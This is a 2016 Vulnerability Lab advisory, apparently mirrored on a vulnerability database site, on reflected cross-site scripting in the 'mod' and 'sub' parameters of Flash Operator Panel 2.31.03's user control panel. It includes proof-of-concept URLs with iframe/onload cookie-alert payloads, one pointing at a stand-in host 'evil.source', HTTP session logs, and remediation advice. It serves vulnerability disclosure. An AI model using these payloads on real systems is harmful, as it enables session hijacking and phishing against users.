Lucene search
K

Flash Operator Panel 2.31.03 - Multiple Web Vulnerabilities

Flash Operator Panel 2.31.03 - Multiple Web Vulnerabilities, XSS, Remote Attac

Code
Document Title:
===============
Flash Operator Panel 2.31.03 - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1906


Release Date:
=============
2016-10-21


Vulnerability Laboratory ID (VL-ID):
====================================
1906


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
The most comprehensive and affordable reporting and realtime monitor package for Asterisk© based Call Centers. 
A new approach on getting CDR reports for your phone system, centered on the user and call direction. Top lists, 
Usage pattern and real time view are included. This version works under any Linux flavor (i386, x86_64 and R-Pi3). 
Versions 1.2, 1.4, 1.6, 1.8, 10, 11 and 12 with the manager interface enabled to asterisk. PHP 5 & MySQL 5: only 
required for the visual phonebook, call history and recordings interface.

(Copy of the Vendor Homepage: https://www.fop2.com/index.php )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a multiple  cross site scripting vulnerabilities in the Flash Operator Panel v2.31.03 (UCP).


Vulnerability Disclosure Timeline:
==================================
2016-10-21:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Nicolas Gudino (Asternic)
Product: Flash Operator Panel 2 - User Control Panel (Web-Application) CentOS 2.31.03, Debian 2.31.03 & RPI-ARM 2.30.03


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
Multiple client-side cross site scripting vulnerabilities has been discovered in the Flash Operator Panel v2.31.03 (UCP).
The security vulnerability allows remote attackers to inject own malicious script code to client-side browser to 
web-application requests for compromise.

The vulnerabilities are located in the `mod` and `sub` parameters of the `index.php` file. Remote attackers are able 
to inject own malicious script code via user control panel `./index` GET method request. The attack vector of the issue 
is non-persistent and the request method to inject/execute is GET. Remote attackers are able to prepare special crafted 
links to compromise session data or to manipulate via client-side the affected web-application context. Both issues are 
limited on exploitation to the user control panel of the flash operator panel to asterisk. 

The security risk of the xss vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. 
Exploitation of the client-side vulnerabilities requires no privileged web-application user account and only low user interaction. 
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external 
redirect to malicious sources and non-persistent manipulation of affected or connected web module context.

Request Method(s):
			[+] GET

Vulnerable Module(s):
			[+] ./index

Vulnerable File(s):
			[+] index.php

Vulnerable Parameter(s):
			[+] mod
			[+] sub


Proof of Concept (PoC):
=======================
The client-side vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Payload
%3E%22%3Ciframe src=http://evil.source onload=alert(document.cookie) <


PoC: Client-Side Cross Site Scripting
http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings%27%3E%22%3Ciframe src=a onload=alert(document.cookie) <&sub=201
http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings&sub=%3E%22%3Ciframe src=a onload=alert(document.cookie) <


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings%27%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C&sub=201
Mime Type[text/html]
   Request Header:
      Host[ucp-fop.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[lang=nl_NL; webrtc-silenced=0; PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.15 (CentOS)]
      x-powered-by[PHP/5.3.28]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Set-Cookie[PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94; path=/ PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94; path=/]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
GET http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings&sub=%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C 
Mime Type[text/html]
   Request Header:
      Host[ucp-fop.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[lang=nl_NL; webrtc-silenced=0; PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94]
      Connection[keep-alive]
   Response Header:
      Server[Apache/2.2.15 (CentOS)]
      x-powered-by[PHP/5.3.28]
      Set-Cookie[PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94; path=/ PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94; path=/]
	Connection[close]
      Transfer-Encoding[chunked]
      Content-Type[text/html; charset=UTF-8]
-
Status: 200[OK]
POST http://ucp-fop.localhost:8000/ucp/index.php 
Mime Type[text/json]
   Request Header:
      Host[ucp-fop.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings&sub=20&_pjax=-1%27]
      Cookie[lang=nl_NL; webrtc-silenced=0; PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94]
      Connection[keep-alive]
   POST-Daten:
      quietmode[1]
      command[poll]
      data%5Bdisplay%5D[dashboard]
      data%5Bmod%5D[settings]
      data%5Bsub%5D[20]
      data%5B_pjax%5D[-1']
   Response Header:
      Server[Apache/2.2.15 (CentOS)]
      x-powered-by[PHP/5.3.28]
      Set-Cookie[PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94; path=/ PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94; path=/]
      access-control-allow-headers[Content-Type, Depth, User-Agent, X-File-Size, X-Requested-With, If-Modified-Since, X-File-Name, Cache-Control, X-Auth-Token]
      Access-Control-Allow-Methods[POST]
      Access-Control-Max-Age[86400]
      Allow[POST]
      Content-Type[text/json;charset=UTF-8]
-
Status: 200[OK]
GET http://ucp-fop.localhost:8000/ucp/x[CLIENT SIDE SCRIPT CODE EXECUTION!] 
Mime Type[text/html]
   Request Header:
      Host[ucp-fop.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings%27%3E%22%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%20%3C&sub=201]
      Cookie[lang=nl_NL; webrtc-silenced=0; PHPSESSID=lvrmdf3rfbef1oc0kcuuqpap94]
      Connection[keep-alive]
   Response Header:
      Date[Sun, 14 Aug 2016 11:01:46 GMT]
      Server[Apache/2.2.15 (CentOS)]
      Content-Type[text/html; charset=iso-8859-1]


Reference(s):
http://ucp-fop.localhost:8000/
http://ucp-fop.localhost:8000/ucp/
http://ucp-fop.localhost:8000/ucp/index.php
http://ucp-fop.localhost:8000/ucp/?display=dashboard
http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod
http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings
http://ucp-fop.localhost:8000/ucp/?display=dashboard&mod=settings&sub


Solution - Fix & Patch:
=======================
The cross site scripting vulnerabilities can be patched by a secure parse of the vulnerable mod and sub parameters.
Parse the values in the GET method request and disallow the usage of special chars to prevent further injection attacks.
Encode the output location were the context execute occurs to finally resolve the issue.
Escape the entries in case of emergency and include an own exception-handling to determine attacks.


Security Risk:
==============
The security risk of the client-side cross site scripting vulnerabilities in the flash operator panel are estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation